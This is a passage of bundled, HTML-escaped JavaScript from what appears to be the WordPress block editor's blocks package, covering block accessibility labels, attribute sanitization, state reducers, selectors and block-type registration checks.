          (0, import_i18n2.__)(&quot;%1$s Block. Row %2$d. %3$s&quot;),
          title,
          position,
          label
        );
      }
      return (0, import_i18n2.sprintf)(
        /* translators: accessibility text. 1: The block title. 2: The block row number. */
        (0, import_i18n2.__)(&quot;%1$s Block. Row %2$d&quot;),
        title,
        position
      );
    } else if (hasPosition &amp;&amp; direction === &quot;horizontal&quot;) {
      if (hasLabel) {
        return (0, import_i18n2.sprintf)(
          /* translators: accessibility text. 1: The block title. 2: The block column number. 3: The block label.. */
          (0, import_i18n2.__)(&quot;%1$s Block. Column %2$d. %3$s&quot;),
          title,
          position,
          label
        );
      }
      return (0, import_i18n2.sprintf)(
        /* translators: accessibility text. 1: The block title. 2: The block column number. */
        (0, import_i18n2.__)(&quot;%1$s Block. Column %2$d&quot;),
        title,
        position
      );
    }
    if (hasLabel) {
      return (0, import_i18n2.sprintf)(
        /* translators: accessibility text. 1: The block title. 2: The block label. */
        (0, import_i18n2.__)(&quot;%1$s Block. %2$s&quot;),
        title,
        label
      );
    }
    return (0, import_i18n2.sprintf)(
      /* translators: accessibility text. %s: The block title. */
      (0, import_i18n2.__)(&quot;%s Block&quot;),
      title
    );
  }
  function getDefault(attributeSchema) {
    if (attributeSchema.default !== void 0) {
      return attributeSchema.default;
    }
    if (attributeSchema.type === &quot;rich-text&quot;) {
      return new import_rich_text.RichTextData();
    }
  }
  function isBlockRegistered(name) {
    return getBlockType(name) !== void 0;
  }
  function __experimentalSanitizeBlockAttributes(name, attributes) {
    const blockType = getBlockType(name);
    if (void 0 === blockType) {
      throw new Error(`Block type &#039;${name}&#039; is not registered.`);
    }
    return Object.entries(blockType.attributes).reduce(
      (accumulator, [key, schema]) =&gt; {
        const value = attributes[key];
        if (void 0 !== value) {
          if (schema.type === &quot;rich-text&quot;) {
            if (value instanceof import_rich_text.RichTextData) {
              accumulator[key] = value;
            } else if (typeof value === &quot;string&quot;) {
              accumulator[key] = import_rich_text.RichTextData.fromHTMLString(value);
            }
          } else if (schema.type === &quot;string&quot; &amp;&amp; value instanceof import_rich_text.RichTextData) {
            accumulator[key] = value.toHTMLString();
          } else {
            accumulator[key] = value;
          }
        } else {
          const _default = getDefault(schema);
          if (void 0 !== _default) {
            accumulator[key] = _default;
          }
        }
        if ([&quot;node&quot;, &quot;children&quot;].indexOf(schema.source) !== -1) {
          if (typeof accumulator[key] === &quot;string&quot;) {
            accumulator[key] = [accumulator[key]];
          } else if (!Array.isArray(accumulator[key])) {
            accumulator[key] = [];
          }
        }
        return accumulator;
      },
      {}
    );
  }
  function getBlockAttributesNamesByRole(name, role) {
    const attributes = getBlockType(name)?.attributes;
    if (!attributes) {
      return [];
    }
    const attributesNames = Object.keys(attributes);
    if (!role) {
      return attributesNames;
    }
    return attributesNames.filter((attributeName) =&gt; {
      const attribute = attributes[attributeName];
      if (attribute?.role === role) {
        return true;
      }
      if (attribute?.__experimentalRole === role) {
        (0, import_deprecated.default)(&quot;__experimentalRole attribute&quot;, {
          since: &quot;6.7&quot;,
          version: &quot;6.8&quot;,
          alternative: &quot;role attribute&quot;,
          hint: `Check the block.json of the ${name} block.`
        });
        return true;
      }
      return false;
    });
  }
  var __experimentalGetBlockAttributesNamesByRole = (...args) =&gt; {
    (0, import_deprecated.default)(&quot;__experimentalGetBlockAttributesNamesByRole&quot;, {
      since: &quot;6.7&quot;,
      version: &quot;6.8&quot;,
      alternative: &quot;getBlockAttributesNamesByRole&quot;
    });
    return getBlockAttributesNamesByRole(...args);
  };
  function isContentBlock(name) {
    const blockType = getBlockType(name);
    const attributes = blockType?.attributes;
    const supportsContentRole = blockType?.supports?.contentRole;
    if (supportsContentRole) {
      return true;
    }
    if (!attributes) {
      return false;
    }
    return !!Object.keys(attributes)?.some((attributeKey) =&gt; {
      const attribute = attributes[attributeKey];
      return attribute?.role === &quot;content&quot; || attribute?.__experimentalRole === &quot;content&quot;;
    });
  }
  function omit(object, keys) {
    return Object.fromEntries(
      Object.entries(object).filter(([key]) =&gt; !keys.includes(key))
    );
  }

  // packages/blocks/build-module/store/reducer.mjs
  var DEFAULT_CATEGORIES = [
    { slug: &quot;text&quot;, title: (0, import_i18n3.__)(&quot;Text&quot;) },
    { slug: &quot;media&quot;, title: (0, import_i18n3.__)(&quot;Media&quot;) },
    { slug: &quot;design&quot;, title: (0, import_i18n3.__)(&quot;Design&quot;) },
    { slug: &quot;widgets&quot;, title: (0, import_i18n3.__)(&quot;Widgets&quot;) },
    { slug: &quot;theme&quot;, title: (0, import_i18n3.__)(&quot;Theme&quot;) },
    { slug: &quot;embed&quot;, title: (0, import_i18n3.__)(&quot;Embeds&quot;) },
    { slug: &quot;reusable&quot;, title: (0, import_i18n3.__)(&quot;Reusable blocks&quot;) }
  ];
  function keyBlockTypesByName(types) {
    return types.reduce(
      (newBlockTypes, block) =&gt; ({
        ...newBlockTypes,
        [block.name]: block
      }),
      {}
    );
  }
  function getUniqueItemsByName(items) {
    return items.reduce((acc, currentItem) =&gt; {
      if (!acc.some((item) =&gt; item.name === currentItem.name)) {
        acc.push(currentItem);
      }
      return acc;
    }, []);
  }
  function bootstrappedBlockTypes(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BOOTSTRAPPED_BLOCK_TYPE&quot;:
        const { name, blockType } = action;
        const serverDefinition = state[name];
        if (serverDefinition) {
          return state;
        }
        const newDefinition = Object.fromEntries(
          Object.entries(blockType).filter(
            ([, value]) =&gt; value !== null &amp;&amp; value !== void 0
          ).map(([key, value]) =&gt; [camelCase(key), value])
        );
        newDefinition.name = name;
        return {
          ...state,
          [name]: newDefinition
        };
      case &quot;REMOVE_BLOCK_TYPES&quot;:
        return omit(state, action.names);
    }
    return state;
  }
  function unprocessedBlockTypes(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_UNPROCESSED_BLOCK_TYPE&quot;:
        return {
          ...state,
          [action.name]: action.blockType
        };
      case &quot;REMOVE_BLOCK_TYPES&quot;:
        return omit(state, action.names);
    }
    return state;
  }
  function blockTypes(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_TYPES&quot;:
        return {
          ...state,
          ...keyBlockTypesByName(action.blockTypes)
        };
      case &quot;REMOVE_BLOCK_TYPES&quot;:
        return omit(state, action.names);
    }
    return state;
  }
  function blockStyles(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_TYPES&quot;:
        return {
          ...state,
          ...Object.fromEntries(
            Object.entries(
              keyBlockTypesByName(action.blockTypes)
            ).map(([name, blockType]) =&gt; [
              name,
              getUniqueItemsByName([
                ...(blockType.styles ?? []).map((style) =&gt; ({
                  ...style,
                  source: &quot;block&quot;
                })),
                ...(state[blockType.name] ?? []).filter(
                  ({ source }) =&gt; &quot;block&quot; !== source
                )
              ])
            ])
          )
        };
      case &quot;ADD_BLOCK_STYLES&quot;:
        const updatedStyles = {};
        action.blockNames.forEach((blockName) =&gt; {
          updatedStyles[blockName] = getUniqueItemsByName([
            ...state[blockName] ?? [],
            ...action.styles
          ]);
        });
        return { ...state, ...updatedStyles };
      case &quot;REMOVE_BLOCK_STYLES&quot;:
        return {
          ...state,
          [action.blockName]: (state[action.blockName] ?? []).filter(
            (style) =&gt; action.styleNames.indexOf(style.name) === -1
          )
        };
    }
    return state;
  }
  function blockVariations(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_TYPES&quot;:
        return {
          ...state,
          ...Object.fromEntries(
            Object.entries(
              keyBlockTypesByName(action.blockTypes)
            ).map(([name, blockType]) =&gt; {
              return [
                name,
                getUniqueItemsByName([
                  ...(blockType.variations ?? []).map(
                    (variation) =&gt; ({
                      ...variation,
                      source: &quot;block&quot;
                    })
                  ),
                  ...(state[blockType.name] ?? []).filter(
                    ({ source }) =&gt; &quot;block&quot; !== source
                  )
                ])
              ];
            })
          )
        };
      case &quot;ADD_BLOCK_VARIATIONS&quot;:
        return {
          ...state,
          [action.blockName]: getUniqueItemsByName([
            ...state[action.blockName] ?? [],
            ...action.variations
          ])
        };
      case &quot;REMOVE_BLOCK_VARIATIONS&quot;:
        return {
          ...state,
          [action.blockName]: (state[action.blockName] ?? []).filter(
            (variation) =&gt; action.variationNames.indexOf(variation.name) === -1
          )
        };
    }
    return state;
  }
  function createBlockNameSetterReducer(setActionType) {
    return (state = null, action) =&gt; {
      switch (action.type) {
        case &quot;REMOVE_BLOCK_TYPES&quot;:
          if (action.names.indexOf(state) !== -1) {
            return null;
          }
          return state;
        case setActionType:
          return action.name || null;
      }
      return state;
    };
  }
  var defaultBlockName = createBlockNameSetterReducer(
    &quot;SET_DEFAULT_BLOCK_NAME&quot;
  );
  var freeformFallbackBlockName = createBlockNameSetterReducer(
    &quot;SET_FREEFORM_FALLBACK_BLOCK_NAME&quot;
  );
  var unregisteredFallbackBlockName = createBlockNameSetterReducer(
    &quot;SET_UNREGISTERED_FALLBACK_BLOCK_NAME&quot;
  );
  var groupingBlockName = createBlockNameSetterReducer(
    &quot;SET_GROUPING_BLOCK_NAME&quot;
  );
  function categories(state = DEFAULT_CATEGORIES, action) {
    switch (action.type) {
      case &quot;SET_CATEGORIES&quot;:
        const uniqueCategories = /* @__PURE__ */ new Map();
        (action.categories || []).forEach((category) =&gt; {
          uniqueCategories.set(category.slug, category);
        });
        return [...uniqueCategories.values()];
      case &quot;UPDATE_CATEGORY&quot;: {
        if (!action.category || !Object.keys(action.category).length) {
          return state;
        }
        const categoryToChange = state.find(
          ({ slug }) =&gt; slug === action.slug
        );
        if (categoryToChange) {
          return state.map((category) =&gt; {
            if (category.slug === action.slug) {
              return {
                ...category,
                ...action.category
              };
            }
            return category;
          });
        }
      }
    }
    return state;
  }
  function collections(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_COLLECTION&quot;:
        return {
          ...state,
          [action.namespace]: {
            title: action.title,
            icon: action.icon
          }
        };
      case &quot;REMOVE_BLOCK_COLLECTION&quot;:
        return omit(state, action.namespace);
    }
    return state;
  }
  function getMergedUsesContext(existingUsesContext = [], newUsesContext = []) {
    const mergedArrays = Array.from(
      new Set(existingUsesContext.concat(newUsesContext))
    );
    return mergedArrays.length &gt; 0 ? mergedArrays : void 0;
  }
  function blockBindingsSources(state = {}, action) {
    switch (action.type) {
      case &quot;ADD_BLOCK_BINDINGS_SOURCE&quot;:
        return {
          ...state,
          [action.name]: {
            label: action.label || state[action.name]?.label,
            usesContext: getMergedUsesContext(
              state[action.name]?.usesContext,
              action.usesContext
            ),
            getValues: action.getValues,
            setValues: action.setValues,
            // Only set `canUserEditValue` if `setValues` is also defined.
            canUserEditValue: action.setValues &amp;&amp; action.canUserEditValue,
            getFieldsList: action.getFieldsList
          }
        };
      case &quot;REMOVE_BLOCK_BINDINGS_SOURCE&quot;:
        return omit(state, action.name);
    }
    return state;
  }
  var reducer_default = (0, import_data2.combineReducers)({
    bootstrappedBlockTypes,
    unprocessedBlockTypes,
    blockTypes,
    blockStyles,
    blockVariations,
    defaultBlockName,
    freeformFallbackBlockName,
    unregisteredFallbackBlockName,
    groupingBlockName,
    categories,
    collections,
    blockBindingsSources
  });

  // packages/blocks/build-module/store/selectors.mjs
  var selectors_exports = {};
  __export(selectors_exports, {
    __experimentalHasContentRoleAttribute: () =&gt; __experimentalHasContentRoleAttribute,
    getActiveBlockVariation: () =&gt; getActiveBlockVariation,
    getBlockStyles: () =&gt; getBlockStyles,
    getBlockSupport: () =&gt; getBlockSupport2,
    getBlockType: () =&gt; getBlockType2,
    getBlockTypes: () =&gt; getBlockTypes2,
    getBlockVariations: () =&gt; getBlockVariations2,
    getCategories: () =&gt; getCategories,
    getChildBlockNames: () =&gt; getChildBlockNames2,
    getCollections: () =&gt; getCollections,
    getDefaultBlockName: () =&gt; getDefaultBlockName2,
    getDefaultBlockVariation: () =&gt; getDefaultBlockVariation,
    getFreeformFallbackBlockName: () =&gt; getFreeformFallbackBlockName,
    getGroupingBlockName: () =&gt; getGroupingBlockName2,
    getUnregisteredFallbackBlockName: () =&gt; getUnregisteredFallbackBlockName,
    hasBlockSupport: () =&gt; hasBlockSupport2,
    hasChildBlocks: () =&gt; hasChildBlocks2,
    hasChildBlocksWithInserterSupport: () =&gt; hasChildBlocksWithInserterSupport2,
    isMatchingSearchTerm: () =&gt; isMatchingSearchTerm
  });
  var import_remove_accents = __toESM(require_remove_accents(), 1);
  var import_data4 = __toESM(require_data(), 1);
  var import_rich_text2 = __toESM(require_rich_text(), 1);
  var import_deprecated3 = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/store/utils.mjs
  var getValueFromObjectPath = (object, path, defaultValue) =&gt; {
    const normalizedPath = Array.isArray(path) ? path : path.split(&quot;.&quot;);
    let value = object;
    normalizedPath.forEach((fieldName) =&gt; {
      value = value?.[fieldName];
    });
    return value ?? defaultValue;
  };
  function isObject2(candidate) {
    return typeof candidate === &quot;object&quot; &amp;&amp; candidate.constructor === Object &amp;&amp; candidate !== null;
  }
  function matchesAttributes(blockAttributes, variationAttributes) {
    if (isObject2(blockAttributes) &amp;&amp; isObject2(variationAttributes)) {
      return Object.entries(variationAttributes).every(
        ([key, value]) =&gt; matchesAttributes(blockAttributes?.[key], value)
      );
    }
    return blockAttributes === variationAttributes;
  }

  // packages/blocks/build-module/store/private-selectors.mjs
  var private_selectors_exports = {};
  __export(private_selectors_exports, {
    getAllBlockBindingsSources: () =&gt; getAllBlockBindingsSources,
    getBlockBindingsSource: () =&gt; getBlockBindingsSource2,
    getBlockBindingsSourceFieldsList: () =&gt; getBlockBindingsSourceFieldsList,
    getBootstrappedBlockType: () =&gt; getBootstrappedBlockType,
    getSupportedStyles: () =&gt; getSupportedStyles,
    getUnprocessedBlockTypes: () =&gt; getUnprocessedBlockTypes,
    hasContentRoleAttribute: () =&gt; hasContentRoleAttribute
  });
  var import_data3 = __toESM(require_data(), 1);
  var import_deprecated2 = __toESM(require_deprecated(), 1);
  var ROOT_BLOCK_SUPPORTS = [
    &quot;background&quot;,
    &quot;backgroundColor&quot;,
    &quot;color&quot;,
    &quot;linkColor&quot;,
    &quot;captionColor&quot;,
    &quot;buttonColor&quot;,
    &quot;headingColor&quot;,
    &quot;fontFamily&quot;,
    &quot;fontSize&quot;,
    &quot;fontStyle&quot;,
    &quot;fontWeight&quot;,
    &quot;lineHeight&quot;,
    &quot;padding&quot;,
    &quot;contentSize&quot;,
    &quot;wideSize&quot;,
    &quot;blockGap&quot;,
    &quot;textAlign&quot;,
    &quot;textDecoration&quot;,
    &quot;textIndent&quot;,
    &quot;textTransform&quot;,
    &quot;letterSpacing&quot;
  ];
  function filterElementBlockSupports(blockSupports, name, element) {
    return blockSupports.filter((support) =&gt; {
      if (support === &quot;fontSize&quot; &amp;&amp; element === &quot;heading&quot;) {
        return false;
      }
      if (support === &quot;textDecoration&quot; &amp;&amp; !name &amp;&amp; element !== &quot;link&quot;) {
        return false;
      }
      if (support === &quot;textTransform&quot; &amp;&amp; !name &amp;&amp; !([&quot;heading&quot;, &quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;, &quot;h5&quot;, &quot;h6&quot;].includes(
        element
      ) || element === &quot;button&quot; || element === &quot;caption&quot; || element === &quot;text&quot;)) {
        return false;
      }
      if (support === &quot;letterSpacing&quot; &amp;&amp; !name &amp;&amp; !([&quot;heading&quot;, &quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;, &quot;h5&quot;, &quot;h6&quot;].includes(
        element
      ) || element === &quot;button&quot; || element === &quot;caption&quot; || element === &quot;text&quot;)) {
        return false;
      }
      if (support === &quot;textIndent&quot; &amp;&amp; !name) {
        return false;
      }
      if (support === &quot;textColumns&quot; &amp;&amp; !name) {
        return false;
      }
      return true;
    });
  }
  var getSupportedStyles = (0, import_data3.createSelector)(
    (state, name, element) =&gt; {
      if (!name) {
        return filterElementBlockSupports(
          ROOT_BLOCK_SUPPORTS,
          name,
          element
        );
      }
      const blockType = getBlockType2(state, name);
      if (!blockType) {
        return [];
      }
      const supportKeys = [];
      if (blockType?.supports?.spacing?.blockGap) {
        supportKeys.push(&quot;blockGap&quot;);
      }
      if (blockType?.supports?.shadow) {
        supportKeys.push(&quot;shadow&quot;);
      }
      Object.keys(__EXPERIMENTAL_STYLE_PROPERTY).forEach((styleName) =&gt; {
        if (!__EXPERIMENTAL_STYLE_PROPERTY[styleName].support) {
          return;
        }
        if (__EXPERIMENTAL_STYLE_PROPERTY[styleName].requiresOptOut) {
          if (__EXPERIMENTAL_STYLE_PROPERTY[styleName].support[0] in blockType.supports &amp;&amp; getValueFromObjectPath(
            blockType.supports,
            __EXPERIMENTAL_STYLE_PROPERTY[styleName].support
          ) !== false) {
            supportKeys.push(styleName);
            return;
          }
        }
        if (getValueFromObjectPath(
          blockType.supports,
          __EXPERIMENTAL_STYLE_PROPERTY[styleName].support,
          false
        )) {
          supportKeys.push(styleName);
        }
      });
      return filterElementBlockSupports(supportKeys, name, element);
    },
    (state, name) =&gt; [state.blockTypes[name]]
  );
  function getBootstrappedBlockType(state, name) {
    return state.bootstrappedBlockTypes[name];
  }
  function getUnprocessedBlockTypes(state) {
    return state.unprocessedBlockTypes;
  }
  function getAllBlockBindingsSources(state) {
    return state.blockBindingsSources;
  }
  function getBlockBindingsSource2(state, sourceName) {
    return state.blockBindingsSources[sourceName];
  }
  var getBlockBindingsSourceFieldsList = (0, import_data3.createRegistrySelector)(
    (select3) =&gt; (0, import_data3.createSelector)(
      (state, source, blockContext) =&gt; {
        if (!source.getFieldsList) {
          return [];
        }
        const context = {};
        if (source?.usesContext?.length) {
          for (const key of source.usesContext) {
            context[key] = blockContext[key];
          }
        }
        return source.getFieldsList({ select: select3, context });
      },
      (state, source, blockContext) =&gt; [
        source.getFieldsList,
        source.usesContext,
        blockContext
      ]
    )
  );
  var hasContentRoleAttribute = (state, blockTypeName) =&gt; {
    const blockType = getBlockType2(state, blockTypeName);
    if (!blockType) {
      return false;
    }
    return Object.values(blockType.attributes).some(
      ({ role, __experimentalRole }) =&gt; {
        if (role === &quot;content&quot;) {
          return true;
        }
        if (__experimentalRole === &quot;content&quot;) {
          (0, import_deprecated2.default)(&quot;__experimentalRole attribute&quot;, {
            since: &quot;6.7&quot;,
            version: &quot;6.8&quot;,
            alternative: &quot;role attribute&quot;,
            hint: `Check the block.json of the ${blockTypeName} block.`
          });
          return true;
        }
        return false;
      }
    );
  };

  // packages/blocks/build-module/store/selectors.mjs
  var getNormalizedBlockType = (state, nameOrType) =&gt; &quot;string&quot; === typeof nameOrType ? getBlockType2(state, nameOrType) : nameOrType;
  var getBlockTypes2 = (0, import_data4.createSelector)(
    (state) =&gt; Object.values(state.blockTypes),
    (state) =&gt; [state.blockTypes]
  );
  function getBlockType2(state, name) {
    return state.blockTypes[name];
  }
  function getBlockStyles(state, name) {
    return state.blockStyles[name];
  }
  var getBlockVariations2 = (0, import_data4.createSelector)(
    (state, blockName, scope) =&gt; {
      const variations = state.blockVariations[blockName];
      if (!variations || !scope) {
        return variations;
      }
      return variations.filter((variation) =&gt; {
        return (variation.scope || [&quot;block&quot;, &quot;inserter&quot;]).includes(
          scope
        );
      });
    },
    (state, blockName) =&gt; [state.blockVariations[blockName]]
  );
  function getActiveBlockVariation(state, blockName, attributes, scope) {
    const variations = getBlockVariations2(state, blockName, scope);
    if (!variations) {
      return variations;
    }
    const blockType = getBlockType2(state, blockName);
    const attributeKeys = Object.keys(blockType?.attributes || {});
    let match;
    let maxMatchedAttributes = 0;
    for (const variation of variations) {
      if (Array.isArray(variation.isActive)) {
        const definedAttributes = variation.isActive.filter(
          (attribute) =&gt; {
            const topLevelAttribute = attribute.split(&quot;.&quot;)[0];
            return attributeKeys.includes(topLevelAttribute);
          }
        );
        const definedAttributesLength = definedAttributes.length;
        if (definedAttributesLength === 0) {
          continue;
        }
        const isMatch = definedAttributes.every((attribute) =&gt; {
          const variationAttributeValue = getValueFromObjectPath(
            variation.attributes,
            attribute
          );
          if (variationAttributeValue === void 0) {
            return false;
          }
          let blockAttributeValue = getValueFromObjectPath(
            attributes,
            attribute
          );
          if (blockAttributeValue instanceof import_rich_text2.RichTextData) {
            blockAttributeValue = blockAttributeValue.toHTMLString();
          }
          return matchesAttributes(
            blockAttributeValue,
            variationAttributeValue
          );
        });
        if (isMatch &amp;&amp; definedAttributesLength &gt; maxMatchedAttributes) {
          match = variation;
          maxMatchedAttributes = definedAttributesLength;
        }
      } else if (variation.isActive?.(attributes, variation.attributes)) {
        return match || variation;
      }
    }
    if (!match &amp;&amp; [&quot;block&quot;, &quot;transform&quot;].includes(scope)) {
      match = variations.find(
        (variation) =&gt; variation?.isDefault &amp;&amp; !Object.hasOwn(variation, &quot;isActive&quot;)
      );
    }
    return match;
  }
  function getDefaultBlockVariation(state, blockName, scope) {
    const variations = getBlockVariations2(state, blockName, scope);
    const defaultVariation = [...variations].reverse().find(({ isDefault }) =&gt; !!isDefault);
    return defaultVariation || variations[0];
  }
  function getCategories(state) {
    return state.categories;
  }
  function getCollections(state) {
    return state.collections;
  }
  function getDefaultBlockName2(state) {
    return state.defaultBlockName;
  }
  function getFreeformFallbackBlockName(state) {
    return state.freeformFallbackBlockName;
  }
  function getUnregisteredFallbackBlockName(state) {
    return state.unregisteredFallbackBlockName;
  }
  function getGroupingBlockName2(state) {
    return state.groupingBlockName;
  }
  var getChildBlockNames2 = (0, import_data4.createSelector)(
    (state, blockName) =&gt; {
      return getBlockTypes2(state).filter((blockType) =&gt; {
        return blockType.parent?.includes(blockName);
      }).map(({ name }) =&gt; name);
    },
    (state) =&gt; [state.blockTypes]
  );
  var getBlockSupport2 = (state, nameOrType, feature, defaultSupports) =&gt; {
    const blockType = getNormalizedBlockType(state, nameOrType);
    if (!blockType?.supports) {
      return defaultSupports;
    }
    return getValueFromObjectPath(
      blockType.supports,
      feature,
      defaultSupports
    );
  };
  function hasBlockSupport2(state, nameOrType, feature, defaultSupports) {
    return !!getBlockSupport2(state, nameOrType, feature, defaultSupports);
  }
  function getNormalizedSearchTerm(term) {
    return (0, import_remove_accents.default)(term ?? &quot;&quot;).toLowerCase().trim();
  }
  function isMatchingSearchTerm(state, nameOrType, searchTerm = &quot;&quot;) {
    const blockType = getNormalizedBlockType(state, nameOrType);
    const normalizedSearchTerm = getNormalizedSearchTerm(searchTerm);
    const isSearchMatch = (candidate) =&gt; getNormalizedSearchTerm(candidate).includes(normalizedSearchTerm);
    return isSearchMatch(blockType.title) || blockType.keywords?.some(isSearchMatch) || isSearchMatch(blockType.category) || typeof blockType.description === &quot;string&quot; &amp;&amp; isSearchMatch(blockType.description);
  }
  var hasChildBlocks2 = (state, blockName) =&gt; {
    return getChildBlockNames2(state, blockName).length &gt; 0;
  };
  var hasChildBlocksWithInserterSupport2 = (state, blockName) =&gt; {
    return getChildBlockNames2(state, blockName).some((childBlockName) =&gt; {
      return hasBlockSupport2(state, childBlockName, &quot;inserter&quot;, true);
    });
  };
  var __experimentalHasContentRoleAttribute = (...args) =&gt; {
    (0, import_deprecated3.default)(&quot;__experimentalHasContentRoleAttribute&quot;, {
      since: &quot;6.7&quot;,
      version: &quot;6.8&quot;,
      hint: &quot;This is a private selector.&quot;
    });
    return hasContentRoleAttribute(...args);
  };

  // packages/blocks/build-module/store/actions.mjs
  var actions_exports = {};
  __export(actions_exports, {
    __experimentalReapplyBlockFilters: () =&gt; __experimentalReapplyBlockFilters,
    addBlockCollection: () =&gt; addBlockCollection,
    addBlockStyles: () =&gt; addBlockStyles,
    addBlockTypes: () =&gt; addBlockTypes,
    addBlockVariations: () =&gt; addBlockVariations,
    reapplyBlockTypeFilters: () =&gt; reapplyBlockTypeFilters,
    removeBlockCollection: () =&gt; removeBlockCollection,
    removeBlockStyles: () =&gt; removeBlockStyles,
    removeBlockTypes: () =&gt; removeBlockTypes,
    removeBlockVariations: () =&gt; removeBlockVariations,
    setCategories: () =&gt; setCategories,
    setDefaultBlockName: () =&gt; setDefaultBlockName2,
    setFreeformFallbackBlockName: () =&gt; setFreeformFallbackBlockName,
    setGroupingBlockName: () =&gt; setGroupingBlockName2,
    setUnregisteredFallbackBlockName: () =&gt; setUnregisteredFallbackBlockName,
    updateCategory: () =&gt; updateCategory
  });
  var import_deprecated5 = __toESM(require_deprecated(), 1);

  // node_modules/is-plain-object/dist/is-plain-object.mjs
  function isObject3(o3) {
    return Object.prototype.toString.call(o3) === &quot;[object Object]&quot;;
  }
  function isPlainObject(o3) {
    var ctor, prot;
    if (isObject3(o3) === false) return false;
    ctor = o3.constructor;
    if (ctor === void 0) return true;
    prot = ctor.prototype;
    if (isObject3(prot) === false) return false;
    if (prot.hasOwnProperty(&quot;isPrototypeOf&quot;) === false) {
      return false;
    }
    return true;
  }

  // packages/blocks/build-module/store/process-block-type.mjs
  var import_react_is = __toESM(require_react_is(), 1);
  var import_deprecated4 = __toESM(require_deprecated(), 1);
  var import_hooks = __toESM(require_hooks(), 1);
  var import_warning2 = __toESM(require_warning(), 1);
  var LEGACY_CATEGORY_MAPPING = {
    common: &quot;text&quot;,
    formatting: &quot;text&quot;,
    layout: &quot;design&quot;
  };
  function mergeBlockVariations(bootstrappedVariations = [], clientVariations = []) {
    const result = [...bootstrappedVariations];
    clientVariations.forEach((clientVariation) =&gt; {
      const index = result.findIndex(
        (bootstrappedVariation) =&gt; bootstrappedVariation.name === clientVariation.name
      );
      if (index !== -1) {
        result[index] = { ...result[index], ...clientVariation };
      } else {
        result.push(clientVariation);
      }
    });
    return result;
  }
  var processBlockType = (name, blockSettings) =&gt; ({ select: select3 }) =&gt; {
    const bootstrappedBlockType = select3.getBootstrappedBlockType(name);
    const blockType = {
      apiVersion: 1,
      name,
      icon: BLOCK_ICON_DEFAULT,
      keywords: [],
      attributes: {},
      providesContext: {},
      usesContext: [],
      selectors: {},
      supports: {},
      styles: [],
      blockHooks: {},
      save: () =&gt; null,
      ...bootstrappedBlockType,
      ...blockSettings,
      // blockType.variations can be defined as a filePath.
      variations: mergeBlockVariations(
        Array.isArray(bootstrappedBlockType?.variations) ? bootstrappedBlockType.variations : [],
        Array.isArray(blockSettings?.variations) ? blockSettings.variations : []
      )
    };
    if (!blockType.attributes || typeof blockType.attributes !== &quot;object&quot;) {
      (0, import_warning2.default)(
        &#039;The block &quot;&#039; + name + &#039;&quot; is registering attributes as `null` or `undefined`. Use an empty object (`attributes: {}`) or exclude the `attributes` key.&#039;
      );
      blockType.attributes = {};
    }
    const settings = (0, import_hooks.applyFilters)(
      &quot;blocks.registerBlockType&quot;,
      blockType,
      name,
      null
    );
    if (settings.apiVersion &lt;= 2) {
      (0, import_deprecated4.default)(&quot;Block with API version 2 or lower&quot;, {
        since: &quot;6.9&quot;,
        hint: `The block &quot;${name}&quot; is registered with API version ${settings.apiVersion}. This means that the post editor may work as a non-iframe editor. Since all editors are planned to work as iframes in the future, set the \`apiVersion\` field to 3 and test the block inside the iframe editor.`,
        link: &quot;https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/block-migration-for-iframe-editor-compatibility/&quot;
      });
    }
    if (settings.description &amp;&amp; typeof settings.description !== &quot;string&quot;) {
      (0, import_deprecated4.default)(&quot;Declaring non-string block descriptions&quot;, {
        since: &quot;6.2&quot;
      });
    }
    if (settings.deprecated) {
      settings.deprecated = settings.deprecated.map(
        (deprecation) =&gt; Object.fromEntries(
          Object.entries(
            // Only keep valid deprecation keys.
            (0, import_hooks.applyFilters)(
              &quot;blocks.registerBlockType&quot;,
              // Merge deprecation keys with pre-filter settings
              // so that filters that depend on specific keys being
              // present don&#039;t fail.
              {
                // Omit deprecation keys here so that deprecations
                // can opt out of specific keys like &quot;supports&quot;.
                ...omit(blockType, DEPRECATED_ENTRY_KEYS),
                ...deprecation
              },
              blockType.name,
              deprecation
            )
          ).filter(
            ([key]) =&gt; DEPRECATED_ENTRY_KEYS.includes(key)
          )
        )
      );
    }
    if (!isPlainObject(settings)) {
      (0, import_warning2.default)(&quot;Block settings must be a valid object.&quot;);
      return;
    }
    if (typeof settings.save !== &quot;function&quot;) {
      (0, import_warning2.default)(&#039;The &quot;save&quot; property must be a valid function.&#039;);
      return;
    }
    if (&quot;edit&quot; in settings &amp;&amp; !(0, import_react_is.isValidElementType)(settings.edit)) {
      (0, import_warning2.default)(&#039;The &quot;edit&quot; property must be a valid component.&#039;);
      return;
    }
    if (LEGACY_CATEGORY_MAPPING.hasOwnProperty(settings.category)) {
      settings.category = LEGACY_CATEGORY_MAPPING[settings.category];
    }
    if (&quot;category&quot; in settings &amp;&amp; !select3.getCategories().some(({ slug }) =&gt; slug === settings.category)) {
      (0, import_warning2.default)(
        &#039;The block &quot;&#039; + name + &#039;&quot; is registered with an invalid category &quot;&#039; + settings.category + &#039;&quot;.&#039;
      );
      delete settings.category;
    }
    if (!(&quot;title&quot; in settings) || settings.title === &quot;&quot;) {
      (0, import_warning2.default)(&#039;The block &quot;&#039; + name + &#039;&quot; must have a title.&#039;);
      return;
    }
    if (typeof settings.title !== &quot;string&quot;) {
      (0, import_warning2.default)(&quot;Block titles must be strings.&quot;);
      return;
    }
    settings.icon = normalizeIconObject(settings.icon);
    if (!isValidIcon(settings.icon.src)) {
      (0, import_warning2.default)(
        &quot;The icon passed is invalid. The icon should be a string, an element, a function, or an object following the specifications documented in https://developer.wordpress.org/block-editor/developers/block-api/block-registration/#icon-optional&quot;
      );
      return;
    }
    if (typeof settings?.parent === &quot;string&quot; || settings?.parent instanceof String) {
      settings.parent = [settings.parent];
      (0, import_warning2.default)(
        &quot;Parent must be undefined or an array of strings (block types), but it is a string.&quot;
      );
    }
    if (!Array.isArray(settings?.parent) &amp;&amp; settings?.parent !== void 0) {
      (0, import_warning2.default)(
        &quot;Parent must be undefined or an array of block types, but it is &quot;,
